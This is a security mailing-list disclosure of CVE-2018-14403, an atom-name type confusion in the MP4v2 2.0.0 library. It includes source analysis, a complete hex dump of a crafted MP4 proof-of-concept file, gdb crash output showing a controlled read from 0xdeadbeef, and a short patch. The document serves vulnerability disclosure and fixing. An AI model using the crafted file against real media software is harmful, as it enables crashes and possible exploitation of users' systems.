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CVE-2018-14403: security - Out-of-bounds memory access in MP4v2 2.0.0

MP4NameFirstMatches in mp4util.cpp in MP4v2 2.0.0 mishandles substrings of atom names, leading to use of an inappropriate data type for associated atoms. The resulting type confusion can cause out-of-bounds memory access.

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Date: Wed, 18 Jul 2018 16:30:41 +0800 From: Ruikai Liu <lrk700@…il.com> To: oss-security@…ts.openwall.com Subject: Out-of-bounds memory access in MP4v2 2.0.0

Hi,

A out-of-bounds memory access bug is found in MP4v2 2.0.0, a legacy library dealing with MP4 media file.

========= find atom by type =========

The function `FindAtom` iterates the atom tree and find the target by comparing its type with the given one:

316 MP4Atom* MP4Atom::FindChildAtom(const char* name) 317 { 318 uint32_t atomIndex = 0; 319 320 // get the index if we have one, e.g. moov.trak[2].mdia… 321 (void)MP4NameFirstIndex(name, &atomIndex); 322 323 // need to get to the index’th child atom of the right type 324 for (uint32_t i = 0; i < m_pChildAtoms.Size(); i++) { 325 if (MP4NameFirstMatches(m_pChildAtoms[i]->GetType(), name)) { …

However, the comparison could be passed for an crafted atom which doesn’t match in fact:

29 bool MP4NameFirstMatches(const char* s1, const char* s2) 30 { 31 if (s1 == NULL || *s1 == ‘\0’ || s2 == NULL || *s2 == ‘\0’) { 32 return false; 33 } 34 35 if (*s2 == ‘*’) { 36 return true; 37 } 38 39 while (*s1 != ‘\0’) { 40 if (*s2 == ‘\0’ || strchr("[.", *s2)) { 41 break; 42 } 43 if (tolower(*s1) != tolower(*s2)) { 44 return false; 45 } 46 s1++; 47 s2++; 48 } 49 return true; 50 }

The above while-loop would exit and return true once `s1` ends early. For example, `MP4NameFirstMatches("abc\x00", “abcd”)` returns true, though an atom with type “abc\x00” should never be returned when finding atom of type "abcd".

Things are different when creating atoms. The 4-bytes type read from file is strictly checked to determine which atom constructor to use(src/mp4atom.cpp):

954 if( ATOMID(type) == ATOMID(“sdtp”) ) 955 return new MP4SdtpAtom(file);

The above difference between creating and finding atoms could result in type confusion, which leads to out-of-bounds memory access.

========= MP4SdtpAtom =========

`FindAtom` is called to find an atom of type “sdtp” when generating the track info(src/mp4track.cpp):

239 // update sdtp log from sdtp atom 240 MP4SdtpAtom* sdtp = (MP4SdtpAtom*)m_trakAtom.FindAtom( “trak.mdia.minf.stbl.sdtp” ); 241 if( sdtp ) { 242 uint8_t* buffer; 243 uint32_t bufsize; 244 sdtp->data.GetValue( &buffer, &bufsize ); 245 m_sdtpLog.assign( (char*)buffer, bufsize ); 246 free( buffer ); 247 }

So if a crafted MP4 file contains an atom of type "sdt\x00", then this atom would be returned and cast to `MP4SdtpAtom`. But its actual class is not `MP4SdtpAtom` since strict comparison is used when creating the atom. As a result, `sdtp->data` is actually out of the object.

========= POC =========

We build a MP4 file which contains the necessary fields. The atoms are arranged dedicatedly so that for 32-bits program, `sdtp->data` would access the trackID, which is controlled by us and would finally leads to reading from `0xdeadbeef`:

root@…ian:~# xxd c4.mp4 00000000: 0000 0018 6674 7970 6d70 3432 0000 0000 …ftypmp42… 00000010: 6d70 3432 6973 6f6d 0000 01c4 6d6f 6f76 mp42isom…moov 00000020: 0000 006c 6d76 6864 0000 0000 3030 3030 …lmvhd…0000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 3030 3030 0000 0000 0000 0000 0000 0000 0000… 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 … 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 … 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 … 00000080: 0000 0000 0000 0000 0000 0000 0000 0150 …P 00000090: 7472 616b 0000 0060 746b 6864 0000 0001 trak…`tkhd… 000000a0: 1234 5678 2345 6789 dead bed7 0000 0000 .4Vx#Eg… 000000b0: 9876 5432 0000 0000 4141 4141 4141 4141 .vT2…AAAAAAAA 000000c0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 000000d0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 000000e0: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA 000000f0: 4141 4141 0000 00e8 6d64 6961 0000 0008 AAAA…mdia… 00000100: 0565 7374 0000 0020 6864 6c72 4242 4242 .est… hdlrBBBB 00000110: 4242 4242 4242 4242 4242 4242 4242 4242 BBBBBBBBBBBBBBBB 00000120: 4242 4242 0000 0020 6d64 6864 0000 0000 BBBB… mdhd… 00000130: 3030 3030 4040 4040 5050 5050 1010 1010 0000@@@@PPPP… 00000140: 9090 9090 0000 0098 6d69 6e66 0000 0008 …minf… 00000150: 0465 7374 0000 0088 7374 626c 0000 0018 .est…stbl… 00000160: 7374 737a 0000 0000 0000 0000 0000 0000 stsz… 00000170: 0000 0000 0000 001c 7374 7363 0000 0000 …stsc… 00000180: 0000 0000 0000 0000 0000 0000 0000 0000 … 00000190: 0000 0010 7374 636f 0000 0000 0000 0000 …stco… 000001a0: 0000 0018 7374 7473 0000 0000 0000 0000 …stts… 000001b0: 0000 0000 0000 0000 0000 001c 1364 7400 …dt. 000001c0: 0000 001c 036f 3634 0000 0000 0000 0008 …o64… 000001d0: 7374 7368 0000 0008 7364 7400 stsh…sdt.

Here’s the result of running `mp4info` on it:

root@…ian:~# gdb /usr/bin/mp4info Reading symbols from /usr/bin/mp4info…(no debugging symbols found)…done. (gdb) r c4.mp4 Starting program: /usr/bin/mp4info c4.mp4 /usr/bin/mp4info version -r c4.mp4: ReadAtom: "c4.mp4": atom type est is suspect ReadAtom: "c4.mp4": atom type est is suspect ReadAtom: "c4.mp4": atom type dt is suspect ReadAtom: "c4.mp4": atom type sdt is suspect ReadChildAtoms: "c4.mp4": In atom stbl missing child atom stsd ReadChildAtoms: "c4.mp4": In atom minf missing child atom dinf

Program received signal SIGSEGV, Segmentation fault. 0xf7ece2c6 in ?? () from /usr/lib/i386-linux-gnu/libmp4v2.so.2 (gdb) x/i $eip => 0xf7ece2c6: mov (%eax),%ecx (gdb) i r eax eax 0xdeadbeef -559038737

The binary we test is the i386 mp4v2 package of Debian:

root@…ian:~# dpkg -s mp4v2-utils Package: mp4v2-utils Status: install ok installed Priority: optional Section: sound Installed-Size: 281 Maintainer: Debian Multimedia Maintainers <pkg-multimedia-maintainers@…ts.alioth.debian.org> Architecture: i386 Source: mp4v2 (2.0.0~dfsg0-5) Version: 2.0.0~dfsg0-5+b1 Depends: libmp4v2-2 (= 2.0.0~dfsg0-5+b1), libc6 (>= 2.4), libgcc1 (>= 1:4.2), libstdc++6 (>= 5.2)

========= fix =========

The bug can be fixed by more checks when doing type comparison. For example:

— src/mp4util.cpp 2018-07-18 15:48:12.766709572 +0800 +++ …/mp4v2-2.0.0-orig/src/mp4util.cpp 2012-05-21 06:11:53.000000000 +0800 @@ -46,7 +46,6 @@ s1++; s2++; }

  • if(*s2 != '[' && *s2 != ‘.’ && *s2 != ‘\0’) return false; return true; }

========= Reference =========

[1] https://code.google.com/archive/p/mp4v2/ [2] http://xhelmboyx.tripod.com/formats/mp4-layout.txt

– Best regards,

Ruikai Liu

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